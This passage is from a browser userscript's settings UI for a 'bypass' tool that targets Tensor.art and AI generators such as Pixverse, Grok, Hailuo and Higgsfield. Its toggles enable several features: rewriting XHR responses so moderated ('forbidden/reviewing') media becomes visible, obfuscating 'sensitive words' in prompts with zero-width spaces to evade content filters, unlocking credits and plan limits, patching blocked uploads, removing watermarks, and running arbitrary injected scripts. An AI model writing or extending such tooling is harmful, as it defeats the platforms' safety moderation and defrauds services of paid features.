        margin-bottom: 10px;
      `;
      xhrNote.innerHTML = '<strong style="color:#f59e0b"><i class="fas fa-triangle-exclamation"></i> High impact mode</strong><br>Supercharges the bypass by intercepting task feed responses and patching inaccessible items with your cached bypass URLs. Enabling this mode disables DOM/Safe View injection methods.';
      xhrSection.content.appendChild(xhrNote);

      const { row: xhrToggleRow, input: xhrToggleInput } = createSettingsToggleRow({
        labelText: 'Enable XHR Intercept Mode',
        icon: 'fa-bolt',
        tooltip: 'When enabled, this mode rewrites tasks query request/response and turns off Inject On DOM + Safe View.',
        checked: !!settings.xhrInterceptEnabled,
        fontSize: '14px',
        textColor: colors.text
      });
      xhrToggleInput.onchange = () => {
        settings.xhrInterceptEnabled = xhrToggleInput.checked;
        enforceXhrInterceptModeState();
        saveSettings();
        tensorInterceptLog('info', `XHR Intercept mode ${settings.xhrInterceptEnabled ? 'enabled' : 'disabled'}`, { source: 'settings' });
        injectBlockedMediaIntoDom();
        updateUI();
      };
      xhrSection.content.appendChild(xhrToggleRow);

      const { row: xhrLogsToggleRow, input: xhrLogsToggleInput } = createSettingsToggleRow({
        labelText: 'Enable Tensor intercept logs',
        icon: 'fa-terminal',
        tooltip: 'Write colorful Tensor intercept logs to the console and the Tensor XHR tab.',
        checked: !!settings.tensorInterceptEnableUiLogs,
        fontSize: '13px',
        textColor: colors.text
      });
      xhrLogsToggleInput.onchange = () => {
        settings.tensorInterceptEnableUiLogs = xhrLogsToggleInput.checked;
        saveSettings();
        tensorInterceptLog('info', `Tensor intercept logs ${settings.tensorInterceptEnableUiLogs ? 'enabled' : 'disabled'}`, { source: 'settings' });
        updateUI();
      };
      xhrSection.content.appendChild(xhrLogsToggleRow);

      const { row: xhrTelegramInjectRow, input: xhrTelegramInjectInput } = createSettingsToggleRow({
        labelText: 'Implemet telegram injection',
        icon: 'fab fa-telegram',
        tooltip: 'Inject Telegram quick queue buttons into native Tensor task hover actions.',
        checked: !!settings.tensorInjectTelegramButtons,
        fontSize: '13px',
        textColor: colors.text
      });
      xhrTelegramInjectInput.onchange = () => {
        settings.tensorInjectTelegramButtons = xhrTelegramInjectInput.checked;
        saveSettings();
        tensorInterceptLog('info', `Tensor Telegram quick injection ${settings.tensorInjectTelegramButtons ? 'enabled' : 'disabled'}`, { source: 'settings' });
        injectBlockedMediaIntoDom();
        updateUI();
      };
      xhrSection.content.appendChild(xhrTelegramInjectRow);

      const { row: xhrDiscordInjectRow, input: xhrDiscordInjectInput } = createSettingsToggleRow({
        labelText: 'Implemnt discord inejction',
        icon: 'fab fa-discord',
        tooltip: 'Inject Discord quick queue buttons into native Tensor task hover actions.',
        checked: !!settings.tensorInjectDiscordButtons,
        fontSize: '13px',
        textColor: colors.text
      });
      xhrDiscordInjectInput.onchange = () => {
        settings.tensorInjectDiscordButtons = xhrDiscordInjectInput.checked;
        saveSettings();
        tensorInterceptLog('info', `Tensor Discord quick injection ${settings.tensorInjectDiscordButtons ? 'enabled' : 'disabled'}`, { source: 'settings' });
        injectBlockedMediaIntoDom();
        updateUI();
      };
      xhrSection.content.appendChild(xhrDiscordInjectRow);

      // ── Auto Recheck Links On Load ─────────────────────────────────────────
      const recheckInfoBox = document.createElement('div');
      recheckInfoBox.style.cssText = `margin-top:12px; padding:10px 12px; border-radius:10px; border:1px solid rgba(34,197,94,0.28); background:rgba(34,197,94,0.07); color:${colors.textSecondary}; font-size:12px; line-height:1.5;`;
      recheckInfoBox.innerHTML = '<span style="color:#86efac;font-weight:700;"><i class="fas fa-arrows-rotate"></i> Auto Recheck Links on Load</span><br>On every page load, silently checks all your saved bypass URLs in the background and refreshes any that are stale or expired — no need to open the panel.';
      xhrSection.content.appendChild(recheckInfoBox);

      const { row: recheckRow, input: recheckInput } = createSettingsToggleRow({
        labelText: 'Auto Recheck links on load',
        icon: 'fa-arrows-rotate',
        tooltip: 'On every page load: checks all cached bypass URLs and refreshes any that are stale or expired (without needing to open the bypass panel).',
        checked: !!settings.autoRecheckLinksOnLoad,
        fontSize: '13px',
        textColor: colors.text
      });
      recheckInput.onchange = () => {
        settings.autoRecheckLinksOnLoad = recheckInput.checked;
        saveSettings();
        tensorInterceptLog('info', `Auto Recheck Links on Load ${settings.autoRecheckLinksOnLoad ? 'enabled' : 'disabled'}`, { source: 'settings' });
        showToast(`Auto Recheck Links: ${settings.autoRecheckLinksOnLoad ? 'enabled — takes effect on next page load' : 'disabled'}`, 'info');
      };
      xhrSection.content.appendChild(recheckRow);

      // ── Error Detection / Correction ──────────────────────────────────────
      const errDetectInfoBox = document.createElement('div');
      errDetectInfoBox.style.cssText = `margin-top:12px; padding:10px 12px; border-radius:10px; border:1px solid rgba(251,191,36,0.28); background:rgba(251,191,36,0.07); color:${colors.textSecondary}; font-size:12px; line-height:1.5;`;
      errDetectInfoBox.innerHTML = '<span style="color:#fbbf24;font-weight:700;"><i class="fas fa-shield-exclamation"></i> Error Detection &amp; Correction</span><br>Watches the page for broken task cards and injects a red <strong>"Fix"</strong> badge on each one. Clicking it automatically refreshes the bypass URL and updates the cache.';
      xhrSection.content.appendChild(errDetectInfoBox);

      const { row: errDetectRow, input: errDetectInput } = createSettingsToggleRow({
        labelText: 'Error detection & correction',
        icon: 'fa-shield-exclamation',
        tooltip: 'Watch the DOM for task cards that still show forbidden/reviewing images and inject a "Fix" button to re-fetch and correct them.',
        checked: !!settings.errorDetectionEnabled,
        fontSize: '13px',
        textColor: colors.text
      });
      errDetectInput.onchange = () => {
        settings.errorDetectionEnabled = errDetectInput.checked;
        saveSettings();
        tensorInterceptLog('info', `Error Detection ${settings.errorDetectionEnabled ? 'enabled' : 'disabled'}`, { source: 'settings' });
        if (settings.errorDetectionEnabled) {
          startErrorDetectionLoop();
          showToast('Error Detection enabled', 'success');
        } else {
          if (_errorDetectObserver) { _errorDetectObserver.disconnect(); _errorDetectObserver = null; }
          showToast('Error Detection disabled', 'info');
        }
      };
      xhrSection.content.appendChild(errDetectRow);

      const xhrSmoothNote = document.createElement('div');
      xhrSmoothNote.style.cssText = `margin-top:10px; padding:10px 12px; border-radius:10px; border:1px solid rgba(99, 102, 241, 0.28); background: rgba(99, 102, 241, 0.09); color:${colors.textSecondary}; font-size:12px; line-height:1.5;`;
      xhrSmoothNote.innerHTML = '<span style="color:#c7d2fe; font-weight:700;"><i class="fas fa-sparkles"></i> Tensor note:</span> this feature is very powerfull and smoOth';
      xhrSection.content.appendChild(xhrSmoothNote);

      // ── Assign Library Link — coming soon note ──────────────────────────
      const libAssignNote = document.createElement('div');
      libAssignNote.style.cssText = `margin-top:12px; padding:10px 12px; border-radius:10px; border:1px solid rgba(16,185,129,0.28); background:rgba(16,185,129,0.07); color:${colors.textSecondary}; font-size:12px; line-height:1.6;`;
      libAssignNote.innerHTML = `<span style="color:#6ee7b7;font-weight:700;"><i class="fas fa-bookmark"></i> Library Link Assign</span> <span style="background:rgba(16,185,129,0.18);color:#6ee7b7;font-size:10px;font-weight:700;padding:1px 7px;border-radius:20px;letter-spacing:.5px;">COMING NEXT UPDATE</span><br>` +
        `Full library sync will automatically cache all your library media so items stay accessible long-term without re-fetching.<br>` +
        `<span style="color:#a7f3d0;margin-top:4px;display:block;">🟢 The <b>add-to-library button</b> enhancement is <b>already active now</b> — hover any + button for a hint, and added items show a checkmark you can click to jump straight to your Library. Items you add this way are captured and cached automatically.</span>`;
      xhrSection.content.appendChild(libAssignNote);

      const xhrLogsMaxRow = document.createElement('div');
      xhrLogsMaxRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
      const xhrLogsMaxLabel = document.createElement('div');
      xhrLogsMaxLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
      xhrLogsMaxLabel.textContent = 'Max Tensor intercept log entries';
      const xhrLogsMaxInput = document.createElement('input');
      xhrLogsMaxInput.type = 'number';
      xhrLogsMaxInput.min = '50';
      xhrLogsMaxInput.max = '5000';
      xhrLogsMaxInput.step = '50';
      xhrLogsMaxInput.value = String(Math.max(50, Number(settings.tensorInterceptMaxLogs) || 600));
      xhrLogsMaxInput.style.cssText = `width: 120px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
      xhrLogsMaxInput.onchange = () => {
        settings.tensorInterceptMaxLogs = Math.max(50, Math.min(5000, Number(xhrLogsMaxInput.value) || 600));
        saveSettings();
        tensorInterceptLog('info', 'Updated Tensor intercept log limit', { source: 'settings', max: settings.tensorInterceptMaxLogs });
      };
      xhrLogsMaxRow.appendChild(xhrLogsMaxLabel);
      xhrLogsMaxRow.appendChild(xhrLogsMaxInput);
      xhrSection.content.appendChild(xhrLogsMaxRow);

      const xhrActionsRow = document.createElement('div');
      xhrActionsRow.className = 'bypass-inline-actions';
      xhrActionsRow.style.cssText = 'margin-top:10px;';
      const openTensorLogsBtn = document.createElement('button');
      openTensorLogsBtn.className = 'bypass-btn bypass-btn-secondary';
      openTensorLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
      openTensorLogsBtn.innerHTML = '<i class="fas fa-wave-square"></i> Open Tensor Logs';
      openTensorLogsBtn.onclick = () => {
        currentTab = 'tensorInterceptBackground';
        updateUI();
      };
      const copyTensorLogsBtn = document.createElement('button');
      copyTensorLogsBtn.className = 'bypass-btn bypass-btn-primary';
      copyTensorLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
      copyTensorLogsBtn.innerHTML = '<i class="fas fa-copy"></i> Copy Logs';
      copyTensorLogsBtn.onclick = async () => {
        try {
          await copyTensorInterceptLogsToClipboard();
        } catch {
          showToast('Failed to copy Tensor intercept logs', 'error');
        }
      };
      const exportTensorLogsBtn = document.createElement('button');
      exportTensorLogsBtn.className = 'bypass-btn bypass-btn-primary';
      exportTensorLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
      exportTensorLogsBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Logs';
      exportTensorLogsBtn.onclick = () => {
        try {
          exportTensorInterceptLogsToJson();
        } catch {
          showToast('Failed to export Tensor intercept logs', 'error');
        }
      };
      const clearTensorLogsBtn = document.createElement('button');
      clearTensorLogsBtn.className = 'bypass-btn bypass-btn-danger';
      clearTensorLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
      clearTensorLogsBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Logs';
      clearTensorLogsBtn.onclick = () => {
        clearTensorInterceptLogs();
        showToast('Tensor intercept logs cleared', 'success');
        refreshLiveLogPanelOrSchedule('tensorIntercept');
      };
      xhrActionsRow.appendChild(openTensorLogsBtn);
      xhrActionsRow.appendChild(copyTensorLogsBtn);
      xhrActionsRow.appendChild(exportTensorLogsBtn);
      xhrActionsRow.appendChild(clearTensorLogsBtn);
      xhrSection.content.appendChild(xhrActionsRow);
      form.appendChild(xhrSection.section);

      const devModeSection = createCollapsibleSection('Developer Mode', 'fa-user-gear', true);
      const devNote = document.createElement('div');
      devNote.style.cssText = `
        background: rgba(239, 68, 68, 0.08);
        border: 1px solid rgba(239, 68, 68, 0.25);
        border-radius: 8px;
        padding: 10px;
        font-size: 12px;
        line-height: 1.5;
        color: ${colors.textSecondary};
        margin-bottom: 10px;
      `;
      devNote.innerHTML = '<strong style="color:' + colors.error + '"><i class="fas fa-triangle-exclamation"></i> Warning</strong><br>Developer inject scripts can run arbitrary code on pages you visit. Only enable if you understand the risks.';
      devModeSection.content.appendChild(devNote);

      const { row: devToggleRow, input: devToggle } = createSettingsToggleRow({
        labelText: 'Enable Developer Mode',
        checked: !!settings.developerModeEnabled,
        fontSize: '13px',
        textColor: colors.text
      });
      devToggle.onchange = () => {
        settings.developerModeEnabled = devToggle.checked;
        if (!settings.developerModeEnabled) {
          settings.developerEnableInjectSystem = false;
        }
        saveSettings();
        if (settings.developerModeEnabled && settings.developerEnableInjectSystem) {
          startDeveloperInjectSystem();
        }
        updateUI();
      };
      devModeSection.content.appendChild(devToggleRow);

      const { row: injectToggleRow, input: injectToggle } = createSettingsToggleRow({
        labelText: 'Enable Inject Tasks System',
        checked: !!settings.developerEnableInjectSystem,
        fontSize: '13px',
        textColor: colors.text
      });
      injectToggleRow.style.marginTop = '8px';
      injectToggle.disabled = !settings.developerModeEnabled;
      injectToggle.onchange = () => {
        settings.developerEnableInjectSystem = injectToggle.checked;
        saveSettings();
        if (settings.developerModeEnabled && settings.developerEnableInjectSystem) {
          startDeveloperInjectSystem();
        }
        updateUI();
      };
      devModeSection.content.appendChild(injectToggleRow);

      const logsRow = document.createElement('div');
      logsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:12px;';
      const logsLabel = document.createElement('div');
      logsLabel.style.cssText = 'display:flex; flex-direction:column; gap:4px;';
      logsLabel.innerHTML = '<div style="font-size:12px; font-weight:600; color:' + colors.text + '"><i class="fas fa-database"></i> Developer logs ring buffer</div><div style="font-size:11px; color:' + colors.textSecondary + '">Overwrite oldest entries when limit is reached.</div>';
      const logsInput = document.createElement('input');
      logsInput.type = 'number';
      logsInput.min = '50';
      logsInput.max = '5000';
      logsInput.step = '50';
      logsInput.value = String(Math.max(50, Number(settings.developerMaxLogs) || 500));
      logsInput.style.cssText = `width: 120px; padding: 8px 10px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text}; font-size: 12px;`;
      logsInput.onchange = () => {
        const v = Math.max(50, Math.min(5000, Number(logsInput.value) || 500));
        settings.developerMaxLogs = v;
        saveSettings();
        // Trim immediately if needed
        addDeveloperLog({ ts: new Date().toISOString(), source: 'settings', message: `Developer log limit set to ${v}`, details: null, level: 'info', tag: 'developer' });
        updateUI();
      };
      logsRow.appendChild(logsLabel);
      logsRow.appendChild(logsInput);
      devModeSection.content.appendChild(logsRow);

      const devActions = document.createElement('div');
      devActions.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top: 12px;';
      const openLogsBtn = document.createElement('button');
      openLogsBtn.className = 'bypass-btn bypass-btn-secondary';
      openLogsBtn.style.cssText = 'flex:1; min-width:160px; font-size:11px; padding:8px;';
      openLogsBtn.innerHTML = '<i class="fas fa-list"></i> Open Developer Logs';
      openLogsBtn.onclick = () => {
        currentTab = 'developers';
        setDevelopersSubTab('logs');
        updateUI();
      };
      const runInjectBtn = document.createElement('button');
      runInjectBtn.className = 'bypass-btn bypass-btn-primary';
      runInjectBtn.style.cssText = 'flex:1; min-width:160px; font-size:11px; padding:8px;';
      runInjectBtn.innerHTML = '<i class="fas fa-play"></i> Run Inject Tasks Now';
      runInjectBtn.onclick = () => {
        if (!settings.developerModeEnabled || !settings.developerEnableInjectSystem) {
          showToast('Enable Developer Mode + Inject System first', 'error');
          return;
        }
        runDeveloperInjectTasksOnThisPage('manual:run-all', null);
        showToast('Inject tasks executed (manual run)', 'success');
      };
      devActions.appendChild(openLogsBtn);
      devActions.appendChild(runInjectBtn);
      devModeSection.content.appendChild(devActions);

      form.appendChild(devModeSection.section);

      const uiSection = createCollapsibleSection('UI Settings', 'fa-sliders-h', true);
      const uiOptions = [
        { id: 'inheritTheme', label: 'Inherit Page Theme', value: settings.inheritTheme, tooltip: 'Match the site color palette and background automatically' },
        { id: 'showAnnouncements', label: 'Show announcements popups', value: settings.showAnnouncements, tooltip: 'Disable to suppress non-required announcement modals/banners from remote config. Required announcements and required updates will still show.' },
        { id: 'showVideoModal', label: 'Enable Video Modal', value: settings.showVideoModal, tooltip: 'Open videos in the preview dialog (disabled by default)' },
        { id: 'showBypassedLink', label: 'Show bypassed link', value: settings.showBypassedLink, tooltip: 'Show the resolved bypass URL in modal details and injected media cards' },
        { id: 'showDetailedInfo', label: 'Show detailed item info', value: settings.showDetailedInfo, tooltip: 'Display rich metadata such as workflow/template and visual parameters' },
        { id: 'showBlockedTooltip', label: 'Show Blocked Media Tooltip', value: settings.showBlockedTooltip, tooltip: 'Show extra info when hovering blocked media (only on injected items)' },
        { id: 'showInjectedHelpTooltips', label: 'Injected Buttons Help Tooltip', value: settings.showInjectedHelpTooltips, tooltip: 'Show detailed hover tooltips on injected buttons when Inject On DOM is enabled' },
        { id: 'showDownloadPreview', label: 'Preview Current Download', value: settings.showDownloadPreview, tooltip: 'Show a live preview of the current download in the queue' }
      ];

      if (settings.showBlockedTooltip) {
        uiOptions.push({
          id: 'showBlockedTooltipPreview',
          label: 'View Media on Tooltip',
          value: settings.showBlockedTooltipPreview,
          tooltip: 'Show a small image/video preview inside the blocked media tooltip'
        });
      }

      if (settings.showBlockedTooltip) {
        uiOptions.push({
          id: 'keepBlockedTooltipOpen',
          label: 'Keep Last Tooltip Open',
          value: settings.keepBlockedTooltipOpen,
          tooltip: 'Keep the last blocked-media tooltip open until you scroll or hover another item'
        });
      }

      uiOptions.forEach(option => {
        const { row, input } = createSettingsToggleRow({
          labelText: option.label,
          tooltip: option.tooltip,
          checked: option.value,
          fontSize: '13px',
          textColor: colors.text
        });
        input.onchange = () => {
          settings[option.id] = input.checked;
          saveSettings();
          if (option.id === 'inheritTheme') {
            injectStyles();
            updateUI();
          }
          if (option.id === 'showBlockedTooltip' || option.id === 'showBlockedTooltipPreview' || option.id === 'keepBlockedTooltipOpen') {
            updateUI();
            injectBlockedMediaIntoDom();
          }
          if (option.id === 'showInjectedHelpTooltips') {
            injectBlockedMediaIntoDom();
          }
          if (option.id === 'showDownloadPreview') {
            updateGlobalActionProgressFromQueue();
          }
        };
        uiSection.content.appendChild(row);
      });

      if (settings.showDetailedInfo) {
        const fieldWrap = document.createElement('div');
        fieldWrap.style.cssText = 'margin-top: 8px; padding: 8px; border: 1px dashed rgba(148,163,184,0.35); border-radius: 8px; display: grid; gap: 6px;';
        const title = document.createElement('div');
        title.style.cssText = 'font-size: 12px; color: #94a3b8; font-weight: 600;';
        title.textContent = 'Detailed info fields';
        fieldWrap.appendChild(title);

        const detailFields = [
          { id: 'taskId', label: 'Task ID' },
          { id: 'dates', label: 'Created/Expires' },
          { id: 'size', label: 'Resolution' },
          { id: 'mimeType', label: 'MIME type' },
          { id: 'sourceUrl', label: 'Bypassed URL' },
          { id: 'workflow', label: 'Workflow/template info' },
          { id: 'visualParameters', label: 'Visual parameters' },
          { id: 'parameters', label: 'Raw parameters block' }
        ];

        detailFields.forEach(field => {
          const row = document.createElement('label');
          row.style.cssText = 'display:flex; align-items:center; gap:8px; cursor:pointer; font-size:12px;';
          const input = document.createElement('input');
          input.type = 'checkbox';
          input.className = 'bypass-checkbox';
          input.checked = settings.detailedInfoFields?.[field.id] !== false;
          input.onchange = () => {
            settings.detailedInfoFields = settings.detailedInfoFields || {};
            settings.detailedInfoFields[field.id] = input.checked;
            saveSettings();
          };
          const txt = document.createElement('span');
          txt.textContent = field.label;
          row.appendChild(input);
          row.appendChild(txt);
          fieldWrap.appendChild(row);
        });

        uiSection.content.appendChild(fieldWrap);
      }

      form.appendChild(uiSection.section);

      const otherPlatformsSection = createCollapsibleSection('Other Platforms', 'fa-globe', true);

      const otherPlatformsNote = document.createElement('div');
      otherPlatformsNote.style.cssText = `
        background: rgba(99, 102, 241, 0.08);
        border: 1px solid rgba(99, 102, 241, 0.25);
        border-radius: 8px;
        padding: 10px;
        font-size: 12px;
        line-height: 1.5;
        color: ${colors.textSecondary};
        margin-bottom: 10px;
      `;
      otherPlatformsNote.innerHTML = `<strong style="color:${colors.primary}"><i class="fas fa-display"></i> External platform UI gate</strong><br><code>showUIOnOtherPlatfrms = ${String(showUIOnOtherPlatfrms)}</code>. When this top-level script flag is <strong>false</strong>, Pixverse/Grok/Higgsfield/Hailuo background logic still runs and service logs still print in the console, but the bypass button and floating window stay hidden on those platforms.`;
      otherPlatformsSection.content.appendChild(otherPlatformsNote);

      const makeExternalMasterToggleRow = (id, labelText, tooltipText) => {
        const { row, input } = createSettingsToggleRow({
          labelText,
          tooltip: tooltipText,
          checked: !!settings[id],
          fontSize: '13px',
          textColor: colors.text
        });
        input.onchange = () => {
          settings[id] = input.checked;
          saveSettings();
          updateUI();
        };
        return row;
      };

      const makeExternalToggleRow = (id, labelText, tooltipText) => {
        const { row, input } = createSettingsToggleRow({
          labelText,
          tooltip: tooltipText,
          checked: !!settings[id],
          fontSize: '13px',
          textColor: colors.text
        });
        input.onchange = () => {
          settings[id] = input.checked;
          saveSettings();
        };
        return row;
      };

      const makeExternalMaxLogsRow = (id, labelText, fallback = 500) => {
        const row = document.createElement('div');
        row.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
        const label = document.createElement('div');
        label.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
        label.textContent = labelText;
        const input = document.createElement('input');
        input.type = 'number';
        input.min = '50';
        input.max = '3000';
        input.step = '50';
        input.value = String(Math.max(50, Number(settings[id]) || fallback));
        input.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
        input.onchange = () => {
          settings[id] = Math.max(50, Math.min(3000, Number(input.value) || fallback));
          saveSettings();
        };
        row.appendChild(label);
        row.appendChild(input);
        return row;
      };

      const appendExternalSettingsCard = (title, icon, accentColor, builder) => {
        const card = document.createElement('div');
        card.style.cssText = `margin-top:10px; padding:12px; border-radius:10px; border:1px solid ${accentColor}; background: rgba(15, 23, 42, 0.35); display:grid; gap:8px;`;
        const heading = document.createElement('div');
        heading.style.cssText = `font-size:12px; font-weight:700; color:${accentColor};`;
        heading.innerHTML = `<i class="fas ${icon}"></i> ${title}`;
        card.appendChild(heading);
        builder(card);
        otherPlatformsSection.content.appendChild(card);
      };

      otherPlatformsSection.content.appendChild(makeExternalMasterToggleRow('showPixverseUi', 'Enable Pixverse', 'Show the bypass button and floating window on app.pixverse.ai when the top script flag allows external UI.'));
      if (settings.showPixverseUi) {
        appendExternalSettingsCard('Pixverse Controls', 'fa-wand-magic-sparkles', '#38bdf8', (card) => {
          card.appendChild(makeExternalToggleRow('pixverseEnablePromptObfuscation', 'Enable prompt obfuscation', 'Adds lightweight obfuscation for configured sensitive words.'));
          card.appendChild(makeExternalToggleRow('pixverseEnableCreditsBypass', 'Enable credits unlock bypass', 'Attempts to bypass credits/plan limits in Pixverse responses.'));
          card.appendChild(makeExternalToggleRow('pixverseEnableUploadBypass', 'Enable upload bypass', 'Patches upload-related blocked/forbidden API responses.'));
          card.appendChild(makeExternalToggleRow('pixverseEnableWatermarkButton', 'Enable watermark-free UI button', 'Adds/overrides the Remove Watermark button in Pixverse editor flows.'));
          card.appendChild(makeExternalToggleRow('pixverseEnableUiLogs', 'Enable realtime UI logs', 'Show runtime logs in the Background tab.'));
          card.appendChild(makeExternalToggleRow('pixverseCaptureMediaLinks', 'Capture bypassed media links', 'Store discovered image/video links in the Items tab cache.'));
          card.appendChild(makeExternalMaxLogsRow('pixverseMaxLogs', 'Max Pixverse log entries', 500));

          const wordsWrap = document.createElement('div');
          wordsWrap.style.cssText = `margin-top:10px; border:1px dashed ${colors.border}; border-radius:10px; padding:10px; display:grid; gap:8px;`;
          const wordsTitle = document.createElement('div');
          wordsTitle.style.cssText = 'font-size:12px; font-weight:700; color:' + colors.text + ';';
          wordsTitle.textContent = 'Sensitive Words';
          wordsWrap.appendChild(wordsTitle);

          const listWrap = document.createElement('div');
          listWrap.style.cssText = 'display:grid; gap:6px;';
          const currentWords = Array.isArray(settings.pixverseSensitiveWords) ? settings.pixverseSensitiveWords.slice() : [];

          const renderWords = () => {
            listWrap.innerHTML = '';
            if (!currentWords.length) {
              const empty = document.createElement('div');
              empty.style.cssText = 'font-size:11px; color:' + colors.textSecondary + ';';
              empty.textContent = 'No sensitive words configured.';
              listWrap.appendChild(empty);
              return;
            }
            currentWords.forEach((word, idx) => {
              const row = document.createElement('div');
              row.style.cssText = `display:flex; align-items:center; gap:8px; padding:6px 8px; border:1px solid ${colors.border}; border-radius:8px; background:${colors.bgSecondary};`;
              const txt = document.createElement('div');
              txt.style.cssText = 'flex:1; font-size:12px; color:' + colors.text + '; word-break:break-word;';
              txt.textContent = word;
              const removeBtn = document.createElement('button');
              removeBtn.className = 'bypass-btn bypass-btn-danger';
              removeBtn.style.cssText = 'width:auto; padding:4px 8px; font-size:10px;';
              removeBtn.innerHTML = '<i class="fas fa-minus"></i>';
              removeBtn.onclick = () => {
                currentWords.splice(idx, 1);
                settings.pixverseSensitiveWords = currentWords.slice();
                saveSettings();
                renderWords();
              };
              row.appendChild(txt);
              row.appendChild(removeBtn);
              listWrap.appendChild(row);
            });
          };

          const addRow = document.createElement('div');
          addRow.style.cssText = 'display:flex; gap:8px; align-items:center;';
          const addInput = document.createElement('input');
          addInput.type = 'text';
          addInput.placeholder = 'Add new sensitive word';
          addInput.style.cssText = `flex:1; padding:8px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
          const addBtn = document.createElement('button');
          addBtn.className = 'bypass-btn bypass-btn-primary';
          addBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
          addBtn.innerHTML = '<i class="fas fa-plus"></i>';
          const doAddWord = () => {
            const value = String(addInput.value || '').trim();
            if (!value) return;
            if (!currentWords.includes(value)) {
              currentWords.push(value);
              settings.pixverseSensitiveWords = currentWords.slice();
              saveSettings();
              renderWords();
            }
            addInput.value = '';
          };
          addBtn.onclick = doAddWord;
          addInput.addEventListener('keydown', (e) => {
            if (e.key === 'Enter') doAddWord();
          });
          addRow.appendChild(addInput);
          addRow.appendChild(addBtn);

          const rawEditorRow = document.createElement('div');
          rawEditorRow.style.cssText = 'display:flex; justify-content:flex-end; margin-top:4px;';
          const rawEditorBtn = document.createElement('button');
          rawEditorBtn.className = 'bypass-btn bypass-btn-secondary';
          rawEditorBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
          rawEditorBtn.innerHTML = '<i class="fas fa-code"></i> Edit Raw Array';
          rawEditorBtn.onclick = () => {
            showCodeEditorDialog({
              title: 'Pixverse sensitive words array',
              description: 'Edit the raw JSON array used by Pixverse prompt obfuscation. Save with Ctrl/Cmd+S or the Save button.',
              initialValue: JSON.stringify(currentWords, null, 2),
              confirmLabel: 'Save Array',
              downloadFilename: 'pixverse_sensitive_words.json',
              validate: (text) => {
                let parsed;
                try {
                  parsed = JSON.parse(text);
                } catch (err) {
                  throw new Error(`Invalid JSON: ${err?.message || err}`);
                }
                if (!Array.isArray(parsed)) throw new Error('Value must be a JSON array.');
                return parsed.map(v => String(v || '').trim()).filter(Boolean);
              }
            }, (nextWords) => {
              currentWords.splice(0, currentWords.length, ...nextWords);
              settings.pixverseSensitiveWords = currentWords.slice();
              saveSettings();
              renderWords();
              showToast('Updated Pixverse sensitive words array', 'success');
            });
          };
          rawEditorRow.appendChild(rawEditorBtn);

          wordsWrap.appendChild(addRow);
          wordsWrap.appendChild(rawEditorRow);
          wordsWrap.appendChild(listWrap);
          card.appendChild(wordsWrap);
          renderWords();
        });
      }

      otherPlatformsSection.content.appendChild(makeExternalMasterToggleRow('showGrokUi', 'Enable Grok', 'Show the bypass button and floating window on grok.com / x.com when the top script flag allows external UI.'));
      const grokWarning = document.createElement('div');
      grokWarning.style.cssText = 'font-size:11px; color:#fbbf24; margin:2px 0 0 26px; line-height:1.4;';
      grokWarning.innerHTML = '<i class="fas fa-triangle-exclamation"></i> Warning: this might not working reliably on Grok/X because response shapes can change often.';
      otherPlatformsSection.content.appendChild(grokWarning);
      if (settings.showGrokUi) {
        appendExternalSettingsCard('Grok Controls', 'fa-shield-halved', '#38bdf8', (card) => {
          card.appendChild(makeExternalToggleRow('grokInterceptorEnabled', 'Enable Grok network capture', 'Capture Grok/X API responses and extract media links for Items cache.'));
          card.appendChild(makeExternalToggleRow('grokCaptureMediaLinks', 'Capture media links', 'Save discovered image/video URLs into the Grok Items list.'));
          card.appendChild(makeExternalToggleRow('grokEnableUiLogs', 'Enable runtime logs', 'Show Grok network/runtime logs in the Background tab.'));
          card.appendChild(makeExternalMaxLogsRow('grokMaxLogs', 'Max Grok log entries', 500));
        });
      }

      otherPlatformsSection.content.appendChild(makeExternalMasterToggleRow('showHailuoUi', 'Enable HailuoAI', 'Show the bypass button and floating window on hailuoai.video / hailuoai.com when the top script flag allows external UI.'));
      if (settings.showHailuoUi) {
        appendExternalSettingsCard('Hailuo Controls', 'fa-bolt', '#22c55e', (card) => {
          card.appendChild(makeExternalToggleRow('hailuoCaptureMediaLinks', 'Capture media links', 'Store discovered Hailuo image/video URLs in the Items tab cache.'));
          card.appendChild(makeExternalToggleRow('hailuoAutoRefreshItems', 'Auto-refresh Items/Logs tabs', 'Refresh floating panel automatically when new Hailuo URLs/logs are captured.'));
          card.appendChild(makeExternalToggleRow('hailuoEnableUiLogs', 'Enable runtime logs', 'Show capture/runtime logs in the Hailuo Background tab.'));
          card.appendChild(makeExternalMaxLogsRow('hailuoMaxLogs', 'Max Hailuo log entries', 500));
        });
      }

      otherPlatformsSection.content.appendChild(makeExternalMasterToggleRow('showHiggsfieldUi', 'Enable Higgsfield', 'Show the bypass button and floating window on higgsfield.ai when the top script flag allows external UI.'));
      if (settings.showHiggsfieldUi) {
        appendExternalSettingsCard('Higgsfield Controls', 'fa-clapperboard', '#60a5fa', (card) => {
          card.appendChild(makeExternalToggleRow('higgsfieldEnablePromptObfuscation', 'Obfuscate outgoing job prompts', 'Insert zero-width spaces into outgoing Higgsfield job prompts for POST /jobs/ requests.'));
          card.appendChild(makeExternalToggleRow('higgsfieldCaptureJobs', 'Capture jobs/projects', 'Store observed project/job responses in IndexedDB and show them in the Items tab.'));
          card.appendChild(makeExternalToggleRow('higgsfieldCaptureSouls', 'Capture souls/custom references', 'Store observed custom-reference responses in IndexedDB and show them in the Items tab.'));
